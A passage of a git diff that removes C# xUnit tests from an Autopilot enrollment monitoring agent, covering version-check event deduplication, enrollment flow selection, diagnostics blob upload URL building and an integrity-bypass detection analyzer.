- var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths);
-
- Assert.NotNull(result.Event);
- Assert.False(result.Deduped);
- }
-
- [Fact]
- public void UpToDateMarker_SameSessionButNewerLatestVersion_EmitsEvent()
- {
- // White-glove scenario: after a pause a new release appeared. Dedup must break.
- WriteLastEmit(SessionA, "1.0.949", "up_to_date");
- WriteChecked(latest: "1.0.950");
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.NotNull(result.Event);
- Assert.False(result.Deduped);
- Assert.Equal("1.0.950", result.Event.Data["latestVersion"]);
- }
-
- [Fact]
- public void UpdatedMarker_AlwaysEmits_IgnoresLastEmit()
- {
- WriteLastEmit(SessionA, "1.0.950", "updated");
- WriteUpdated(previous: "1.0.949", newVer: "1.0.950", trigger: "startup");
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.NotNull(result.Event);
- Assert.Equal("updated", result.Event.Data["outcome"]);
- Assert.Equal(EventSeverity.Info, result.Event.Severity);
- Assert.Equal("1.0.949", result.Event.Data["previousVersion"]);
- Assert.Equal("1.0.950", result.Event.Data["newVersion"]);
- Assert.True(result.Event.Data.ContainsKey("downtimeMs"));
- Assert.False(File.Exists(_paths.UpdatedMarker));
- }
-
- [Fact]
- public void UpdatedMarker_RuntimeTrigger_IsWarningSeverity()
- {
- WriteUpdated(trigger: "runtime_hash_mismatch");
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.Equal(EventSeverity.Warning, result.Event.Severity);
- }
-
- [Fact]
- public void SkippedMarker_DownloadFailed_EmitsWithSkippedOutcome()
- {
- WriteSkipped(reason: "download_failed");
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.NotNull(result.Event);
- Assert.Equal("skipped", result.Event.Data["outcome"]);
- Assert.Equal("download_failed", result.Event.Data["reason"]);
- Assert.Equal(EventSeverity.Warning, result.Event.Severity);
- Assert.False(File.Exists(_paths.SkippedMarker));
- }
-
- [Fact]
- public void SkippedMarker_VersionCheckFailed_DerivesCheckFailedOutcome()
- {
- // Backward-compat: old marker without outcome field — must still map correctly.
- WriteSkipped(reason: "version_check_failed", latest: null, outcome: null);
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.Equal("check_failed", result.Event.Data["outcome"]);
- }
-
- [Fact]
- public void Priority_UpdatedBeatsSkippedBeatsChecked()
- {
- // All three present (edge case after a crash). Updated wins, the others are cleaned up.
- WriteUpdated();
- WriteSkipped();
- WriteChecked();
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.Equal("updated", result.Event.Data["outcome"]);
- Assert.False(File.Exists(_paths.UpdatedMarker));
- Assert.False(File.Exists(_paths.SkippedMarker));
- Assert.False(File.Exists(_paths.CheckedMarker));
- }
-
- [Fact]
- public void CorruptMarker_DoesNotThrow_ReturnsParseError()
- {
- File.WriteAllText(_paths.CheckedMarker, "{ not valid json");
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.Null(result.Event);
- Assert.NotNull(result.ParseError);
- Assert.False(File.Exists(_paths.CheckedMarker)); // still cleaned up
- }
-
- private void WriteDowngradeBlocked(string current = "1.0.961", string latest = "1.0.951", string trigger = "runtime_hash_mismatch")
- {
- var json = new JObject
- {
- ["outcome"] = "downgrade_blocked",
- ["reason"] = "downgrade_blocked",
- ["currentVersion"] = current,
- ["latestVersion"] = latest,
- ["triggerReason"] = trigger,
- ["skippedAtUtc"] = DateTime.UtcNow.ToString("O"),
- ["errorDetail"] = string.Empty,
- };
- File.WriteAllText(_paths.SkippedMarker, json.ToString());
- }
-
- [Fact]
- public void DowngradeBlockedMarker_FirstTime_EmitsWarningEvent()
- {
- WriteDowngradeBlocked();
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.NotNull(result.Event);
- Assert.Equal(EventSeverity.Warning, result.Event.Severity);
- Assert.Equal("downgrade_blocked", result.Event.Data["outcome"]);
- Assert.Equal("1.0.951", result.Event.Data["latestVersion"]);
- Assert.Equal("1.0.961", result.Event.Data["currentVersion"]);
- Assert.Equal("runtime_hash_mismatch", result.Event.Data["triggerReason"]);
- Assert.Contains("downgrade from 1.0.961 to 1.0.951", result.Event.Message);
- Assert.False(result.Deduped);
- Assert.False(File.Exists(_paths.SkippedMarker));
- }
-
- [Fact]
- public void DowngradeBlocked_SameSessionSameLatest_IsDeduped()
- {
- WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked");
- WriteDowngradeBlocked();
-
- var result = VersionCheckEventBuilder.TryBuild(SessionA, TenantId, DateTime.UtcNow, _paths);
-
- Assert.Null(result.Event);
- Assert.True(result.Deduped);
- Assert.Equal("downgrade_blocked", result.Outcome);
- }
-
- [Fact]
- public void DowngradeBlocked_DifferentSession_EmitsFresh()
- {
- WriteLastEmit(SessionA, "1.0.951", "downgrade_blocked");
- WriteDowngradeBlocked();
-
- var result = VersionCheckEventBuilder.TryBuild(SessionB, TenantId, DateTime.UtcNow, _paths);
-
- Assert.NotNull(result.Event);
- Assert.False(result.Deduped);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Flows/EnrollmentFlowTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Flows/EnrollmentFlowTests.cs
deleted file mode 100644
index a35e5a22..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Flows/EnrollmentFlowTests.cs
+++ /dev/null
@@ -1,123 +0,0 @@
-using AutopilotMonitor.Shared.Models;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Flows
-{
- ///
- /// Guards the v1/v2 enrollment-flow "Weiche": ensures flow handlers expose the correct
- /// policy bits and the factory picks the right handler for each EnrollmentType.
- /// Prevents regressions such as DevPrep flows accidentally applying the ESP gate,
- /// or Classic flows skipping ESP-phase tracking.
- ///
- public class EnrollmentFlowTests
- {
- // -- Enum <-> wire format roundtrip --
-
- [Theory]
- [InlineData("v1", EnrollmentType.Classic)]
- [InlineData("V1", EnrollmentType.Classic)]
- [InlineData("v2", EnrollmentType.DevicePreparation)]
- [InlineData("V2", EnrollmentType.DevicePreparation)]
- public void FromWireFormat_KnownValues_ReturnsMatchingEnum(string wire, EnrollmentType expected)
- {
- Assert.Equal(expected, EnrollmentTypeExtensions.FromWireFormat(wire));
- }
-
- [Theory]
- [InlineData(null)]
- [InlineData("")]
- [InlineData(" ")]
- [InlineData("v3")]
- [InlineData("classic")]
- public void FromWireFormat_UnknownOrEmpty_ReturnsUnknown(string wire)
- {
- Assert.Equal(EnrollmentType.Unknown, EnrollmentTypeExtensions.FromWireFormat(wire));
- }
-
- [Theory]
- [InlineData(EnrollmentType.Classic, "v1")]
- [InlineData(EnrollmentType.DevicePreparation, "v2")]
- [InlineData(EnrollmentType.Unknown, "v1")] // legacy-safe default
- public void ToWireFormat_ProducesExpectedString(EnrollmentType type, string expected)
- {
- Assert.Equal(expected, type.ToWireFormat());
- }
-
- // -- Flow handler policy bits --
-
- [Fact]
- public void ClassicAutopilotFlow_TracksEspPhases_True()
- {
- var flow = new ClassicAutopilotFlow();
- Assert.Equal(EnrollmentType.Classic, flow.SupportedType);
- Assert.True(flow.TracksEspPhases);
- Assert.True(flow.AppliesEspGateOnDesktopArrival);
- }
-
- [Fact]
- public void DevicePreparationFlow_DoesNotTrackEspPhases()
- {
- var flow = new DevicePreparationFlow();
- Assert.Equal(EnrollmentType.DevicePreparation, flow.SupportedType);
- Assert.False(flow.TracksEspPhases);
- Assert.False(flow.AppliesEspGateOnDesktopArrival);
- }
-
- // -- Factory selection --
-
- [Fact]
- public void Factory_Create_Classic_ReturnsClassicFlow()
- {
- Assert.IsType(EnrollmentFlowFactory.Create(EnrollmentType.Classic));
- }
-
- [Fact]
- public void Factory_Create_DevicePreparation_ReturnsDevPrepFlow()
- {
- Assert.IsType(EnrollmentFlowFactory.Create(EnrollmentType.DevicePreparation));
- }
-
- [Fact]
- public void Factory_Create_Unknown_FallsBackToClassic()
- {
- // Unknown must not produce null — Classic is the safe legacy default.
- Assert.IsType(EnrollmentFlowFactory.Create(EnrollmentType.Unknown));
- }
-
- [Theory]
- [InlineData("v1", typeof(ClassicAutopilotFlow))]
- [InlineData("v2", typeof(DevicePreparationFlow))]
- [InlineData("", typeof(ClassicAutopilotFlow))]
- [InlineData("bogus", typeof(ClassicAutopilotFlow))]
- public void Factory_FromWireFormat_PicksCorrectFlow(string wire, System.Type expectedType)
- {
- var flow = EnrollmentFlowFactory.FromWireFormat(wire);
- Assert.IsType(expectedType, flow);
- }
-
- // -- RegisterSessionResponse back-compat guard --
-
- [Fact]
- public void RegisterSessionResponse_DefaultValidatedBy_IsUnknown()
- {
- // A response from an older backend that does not set ValidatedBy must
- // deserialize with ValidatedBy = Unknown so the agent falls back to
- // its own registry detection.
- var response = new RegisterSessionResponse();
- Assert.Equal(ValidatorType.Unknown, response.ValidatedBy);
- }
-
- [Fact]
- public void ValidatorType_Unknown_IsDefaultValue()
- {
- // Newtonsoft.Json / System.Text.Json default for a missing enum field is 0.
- // Unknown must be 0 so missing-field deserialization stays backward compatible.
- Assert.Equal(0, (int)ValidatorType.Unknown);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs
deleted file mode 100644
index 14c8f99e..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-using System;
-using System.IO;
-using AutopilotMonitor.Agent.Core.Logging;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Helpers
-{
- ///
- /// Minimal AgentLogger for test use. Writes to a temp directory that is auto-cleaned.
- ///
- internal static class TestLogger
- {
- private static readonly Lazy _instance = new Lazy(() =>
- {
- var dir = Path.Combine(Path.GetTempPath(), "autopilot-test-logs-" + Guid.NewGuid().ToString("N"));
- return new AgentLogger(dir);
- });
-
- public static AgentLogger Instance => _instance.Value;
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/DiagnosticsPackageServiceUrlBuilderTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/DiagnosticsPackageServiceUrlBuilderTests.cs
deleted file mode 100644
index 3da7b9e5..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/DiagnosticsPackageServiceUrlBuilderTests.cs
+++ /dev/null
@@ -1,71 +0,0 @@
-using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
-using Xunit;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
-{
- ///
- /// Phase 3 of the hosted-diagnostics work: V1 agent must build the blob PUT URL
- /// destination-aware so a Hosted SAS (already blob-scoped at
- /// {tenantId}/{filename}) is used as-is, while a CustomerSas (container-scoped)
- /// continues to get the blob name appended. Mirrors the V2 tests in
- /// AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Runtime.DiagnosticsPackageServiceTests.
- /// V1 stays on this code path until phase-out per feedback_codex_findings_v2_only.
- ///
- public class DiagnosticsPackageServiceUrlBuilderTests
- {
- [Theory]
- [InlineData("Hosted")]
- [InlineData("hosted")]
- [InlineData("HOSTED")]
- public void BuildBlobUploadUrl_HostedDestination_ReturnsSasUnchanged(string destination)
- {
- const string hostedSas = "https://account.blob.core.windows.net/diagnostics/11111111-1111-1111-1111-111111111111/AgentDiagnostics-x.zip?sig=abc";
- var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedSas, "AgentDiagnostics-x.zip", destination);
- Assert.Equal(hostedSas, result);
- }
-
- [Fact]
- public void BuildBlobUploadUrl_CustomerSas_AppendsBlobNameBeforeQuery()
- {
- const string containerSas = "https://customer.blob.core.windows.net/diagnostics?sv=2024-10-04&sig=xyz";
- var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "AgentDiagnostics-x.zip", "CustomerSas");
- Assert.Equal(
- "https://customer.blob.core.windows.net/diagnostics/AgentDiagnostics-x.zip?sv=2024-10-04&sig=xyz",
- result);
- }
-
- [Fact]
- public void BuildBlobUploadUrl_NullDestination_AppendsBlobName_LegacyBackendCompat()
- {
- // Older backends without the Destination field return null; agent must
- // preserve the historical container-SAS append behaviour.
- const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc";
- var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", null);
- Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip?sig=abc", result);
- }
-
- [Fact]
- public void BuildBlobUploadUrl_UnknownDestination_FallsBackToCustomerSasBehaviour()
- {
- const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc";
- var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", "Vendor");
- Assert.EndsWith("/diag.zip?sig=abc", result);
- }
-
- [Fact]
- public void BuildBlobUploadUrl_SasWithoutQueryString_AppendsBlobName()
- {
- const string noQuery = "https://customer.blob.core.windows.net/diag";
- var result = DiagnosticsPackageService.BuildBlobUploadUrl(noQuery, "diag.zip", "CustomerSas");
- Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip", result);
- }
-
- [Fact]
- public void BuildBlobUploadUrl_HostedWithoutQueryString_StillReturnsUnchanged()
- {
- const string hostedNoQuery = "https://account.blob.core.windows.net/diagnostics/tenant/x.zip";
- var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedNoQuery, "x.zip", "Hosted");
- Assert.Equal(hostedNoQuery, result);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/IntegrityBypassAnalyzerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/IntegrityBypassAnalyzerTests.cs
deleted file mode 100644
index ef623b88..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Monitoring/IntegrityBypassAnalyzerTests.cs
+++ /dev/null
@@ -1,115 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using AutopilotMonitor.Shared.Models;
-using Xunit;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
-{
- ///
- /// Sanity tests for IntegrityBypassAnalyzer. The analyzer reads HKLM/HKU, Win32_Tpm
- /// and the real filesystem — we don't mock those here. Instead we verify the event
- /// contract (type / phase / severity / required payload shape) against whatever the
- /// test host reports. On any healthy dev machine this should emit a single
- /// "integrity_bypass_analysis" event with Phase=Unknown and the documented payload.
- ///
- public class IntegrityBypassAnalyzerTests
- {
- private IntegrityBypassAnalyzer CreateAnalyzer(List sink)
- {
- return new IntegrityBypassAnalyzer(
- sessionId: "test-session",
- tenantId: "test-tenant",
- emitEvent: evt => sink.Add(evt),
- logger: TestLogger.Instance);
- }
-
- [Fact]
- public void AnalyzeAtStartup_EmitsSingleIntegrityBypassEvent_WithUnknownPhase()
- {
- var events = new List();
- var analyzer = CreateAnalyzer(events);
-
- analyzer.AnalyzeAtStartup();
-
- var evt = Assert.Single(events);
- Assert.Equal("integrity_bypass_analysis", evt.EventType);
- Assert.Equal(EnrollmentPhase.Unknown, evt.Phase);
- Assert.Equal("IntegrityBypassAnalyzer", evt.Source);
- Assert.Equal("test-session", evt.SessionId);
- Assert.Equal("test-tenant", evt.TenantId);
- Assert.NotNull(evt.Data);
- Assert.True(evt.Data.ContainsKey("severity"));
- Assert.True(evt.Data.ContainsKey("finding"));
- Assert.True(evt.Data.ContainsKey("findings"));
- Assert.True(evt.Data.ContainsKey("triggered_at"));
- Assert.Equal("startup", evt.Data["triggered_at"]);
- Assert.True(evt.Data.ContainsKey("checks"));
- }
-
- [Fact]
- public void AnalyzeAtShutdown_IsNoOp()
- {
- // Integrity bypass artefacts are pre-enrollment state and do not change during
- // enrollment. The shutdown call must not emit a duplicate event.
- var events = new List();
- var analyzer = CreateAnalyzer(events);
-
- analyzer.AnalyzeAtShutdown();
-
- Assert.Empty(events);
- }
-
- [Fact]
- public void Payload_ContainsDocumentedCheckSections()
- {
- var events = new List();
- var analyzer = CreateAnalyzer(events);
-
- analyzer.AnalyzeAtStartup();
-
- var evt = Assert.Single(events);
- var checks = Assert.IsAssignableFrom>(evt.Data["checks"]);
- Assert.True(checks.ContainsKey("lab_config"));
- Assert.True(checks.ContainsKey("mo_setup"));
- Assert.True(checks.ContainsKey("pchc_upgrade_eligibility"));
- Assert.True(checks.ContainsKey("setup_scripts"));
- Assert.True(checks.ContainsKey("correlation"));
-
- // Setup scripts entry is always a list of 2 (SetupComplete + ErrorHandler)
- var scripts = Assert.IsAssignableFrom(checks["setup_scripts"]);
- var count = scripts.Cast